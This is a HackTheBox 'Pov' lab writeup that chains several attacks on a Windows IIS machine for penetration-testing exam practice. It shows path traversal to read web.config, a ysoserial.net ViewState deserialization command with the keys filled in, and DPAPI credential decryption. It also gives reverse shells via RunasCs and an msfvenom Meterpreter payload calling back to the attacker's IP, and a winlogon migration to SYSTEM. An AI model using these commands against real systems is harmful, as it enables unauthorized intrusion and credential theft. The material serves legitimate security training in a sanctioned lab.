CPTS Prep - Pov - Windows Medium

HackTheBox - Pov Writeup
OS: Windows
Tags: ASP.NET, IIS, Path Traversal, ViewState Deserialization, DPAPI, SeDebugPrivilege

Summary

Pov is a Windows machine centred around a developer's portfolio site running on IIS with ASP.NET WebForms. The attack chain involves discovering an arbitrary file read vulnerability in a CV download handler, leveraging it to steal a machineKey from web.config, then exploiting ASP.NET ViewState deserialization to achieve remote code execution. From there, a DPAPI-encrypted credential file leads to a second user account with SeDebugPrivilege, which is abused via Meterpreter process migration into winlogon.exe to gain SYSTEM.

Reconnaissance

Starting with a standard Nmap scan:

shell
sudo nmap -sC -sV 10.129.230.183
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb

Only port 80 is open. A full port scan confirms there genuinely are no other services running. The HTTP title leaks the hostname pov.htb, which gets added to /etc/hosts.

With nothing else exposed, web enumeration becomes the focus. Running ffuf for virtual host discovery:

ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ
-u http://10.129.230.183
-H "Host: FUZZ.pov.htb"
-fw 3740
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 103ms]

There is a dev.pov.htb subdomain. Adding it to /etc/hosts and visiting it reveals a personal portfolio page belonging to a developer named Stephen Fitz, username sfitz.

Directory fuzzing on the main domain turns up nothing of interest. The real attack surface is the dev subdomain.

Foothold - Arbitrary File Read via Path Traversal

The portfolio page has a "Download CV" button. Inspecting the page source reveals how it works:

html
Download CV

This is an ASP.NET WebForms postback. The file parameter is a plain hidden input with no client-side restrictions. The server reads whatever filename is submitted and streams it back. Intercepting the POST request in Burp and changing file=cv.pdf to file=C:\Windows\win.ini returns the file contents directly:

; for 16-bit app support
[fonts]
[extensions]
...

Arbitrary file read confirmed. The server accepts absolute Windows paths without restriction.

With this primitive, the next goal is web.config. ASP.NET applications store encryption keys, connection strings, and other sensitive configuration there. Sending file=web.config (a relative path that resolves from the application root) returns it immediately:

xml

<system.web>

</system.web>

Both decryptionKey and validationKey are now in hand. This is significant: ASP.NET WebForms uses these keys to sign and encrypt the __VIEWSTATE parameter on every page. With the keys, it is possible to forge a malicious ViewState payload that triggers server-side deserialization and arbitrary code execution when sent to any .aspx page on the site.

RCE - ASP.NET ViewState Deserialization

The tool for generating ViewState deserialization payloads is ysoserial.net. Since the attack box is running Ubuntu, Wine is used to run the Windows executable with a real .NET Framework runtime. This is necessary because most gadget chains require WPF assemblies that are unavailable in Mono:

shell
winetricks -q wine-mono
winetricks -q dotnet48

Generating the payload (first testing with a ping callback to confirm RCE):

shell
wine ysoserial.exe -p ViewState
-g TextFormattingRunProperties
-c "ping -n 3 10.10.15.93"
--path "/portfolio/"
--apppath "/"
--decryptionalg="AES"
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
--validationalg="SHA1"
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
--generator="8E0F0FA3" 2>/dev/null

Note: The 2>/dev/null is important. Wine prints a lot of err:combase noise to stderr that will corrupt the payload output if it bleeds into stdout.

The generated ViewState blob is dropped into the __VIEWSTATE field of the original download POST request in Burp Repeater and sent. tcpdump confirms ICMP echo requests hitting the attack box from the target:

13:35:56.570142 IP pov.htb > copium: ICMP echo request, id 1, seq 2
13:35:57.549340 IP pov.htb > copium: ICMP echo request, id 1, seq 3
13:35:58.565290 IP pov.htb > copium: ICMP echo request, id 1, seq 4

RCE confirmed. The payload is regenerated with a PowerShell reverse shell (base64-encoded to avoid quoting issues), a listener is set up, and a shell pops as pov\sfitz.

Lateral Movement - DPAPI Credential Decryption

Enumerating sfitz's home directory turns up an interesting file in Documents:

powershell
PS C:\Users\sfitz\Documents> dir

Directory: C:\Users\sfitz\Documents

Mode LastWriteTime Length Name


-a---- 12/25/2023 2:26 1838 connection.xml

connection.xml is a serialized PowerShell PSCredential object containing credentials for another user, alaading, with a DPAPI-protected password blob:

xml



System.Management.Automation.PSCredential


alaading
01000000d08c9ddf0115d1118c7a00c04fc297eb...


DPAPI credentials can be decrypted transparently by the same user account that encrypted them. Since the shell is already running as sfitz, Import-Clixml handles decryption natively without any extra tooling:

powershell
$cred = Import-Clixml -Path "C:\Users\sfitz\Documents\connection.xml"
$cred.GetNetworkCredential().Password

With valid credentials for alaading recovered, RunasCs.exe is downloaded and used to spawn a shell as that user:

powershell
.\RunasCs.exe alaading cmd.exe -r 10.10.15.93:444
C:\Users\alaading\Desktop> dir
08/28/2026 02:13 AM 34 user.txt

User flag obtained.

Privilege Escalation - SeDebugPrivilege to SYSTEM

Checking alaading's privileges:

powershell
PS C:\Users\alaading\Desktop> whoami /priv

Privilege Name Description State
======================= ======================== =======
SeDebugPrivilege Debug programs Enabled

SeDebugPrivilege allows a process to open and manipulate any other process on the system regardless of its owner, including SYSTEM-level processes. The escalation path is to get a Meterpreter session as alaading and migrate into a process running as NT AUTHORITY\SYSTEM.

Generating the Meterpreter payload:

shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.93 LPORT=5555 -f exe -o rev.exe

Setting up the handler in Metasploit, downloading and executing rev.exe on the target, and catching the session:

meterpreter > ps winlogon.exe

PID Name Arch Session User Path


556 winlogon.exe x64 1 C:\Windows\System32\winlogon.exe

meterpreter > migrate 556
[] Migrating from 872 to 556...
[
] Migration completed successfully.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Key Takeaways
Hidden form fields are user-controlled input. The file parameter being a provides zero security. Anything sent over the wire is attacker-controlled, and server-side validation is the only thing that matters.
Exposing machineKey values is critical. On ASP.NET WebForms sites, a leaked machineKey is essentially equivalent to RCE. It allows forging ViewState payloads that trigger arbitrary deserialization on the server.
DPAPI-encrypted credentials are only as safe as the user context protecting them. Once you have code execution as the encrypting user, decryption is trivial using built-in PowerShell cmdlets.
SeDebugPrivilege is a direct path to SYSTEM. Any account holding this privilege should be treated as effectively equivalent to an administrator.